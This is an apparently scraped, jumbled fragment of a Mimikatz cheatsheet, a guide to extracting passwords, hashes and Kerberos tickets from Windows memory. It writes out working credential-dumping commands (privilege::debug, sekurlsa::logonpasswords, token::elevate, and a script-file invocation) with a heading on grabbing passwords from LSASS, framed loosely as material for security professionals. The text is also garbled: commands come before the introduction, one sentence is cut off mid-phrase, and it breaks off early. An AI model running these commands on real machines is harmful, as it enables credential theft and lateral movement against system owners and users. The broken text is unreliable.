echo privilege::debug >> commands.txt echo sekurlsa::logonpasswords >> commands.txt echo exit >> commands.txt mimikatz.exe ""script:commands.txt"" If you are defending a network, you must assume Mimikatz will be used.

Mimikatz is arguably the most powerful and infamous post-exploitation tool ever created. Developed by Benjamin Delpy (@gentilkiwi), it allows security professionals to extract plaintext passwords, hashes, PINs, and Kerberos tickets directly from Windows memory.

However, with great power comes great responsibility. This cheatsheet is strictly for . ⚠️ Warning: Modern Antivirus (AV) and Endpoint Detection & Response (EDR) aggressively flag Mimikatz. You will rarely run the vanilla .exe on a live engagement today. Phase 1: Loading & Privilege Escalation Before running any commands, you must load Mimikatz and gain the necessary rights.

mimikatz.exe "privilege::debug" "token::elevate" "exit" 1. Grab Passwords from LSASS Memory (sekurlsa) This is the classic "pass-the-hash" or "pass-the-password" attack.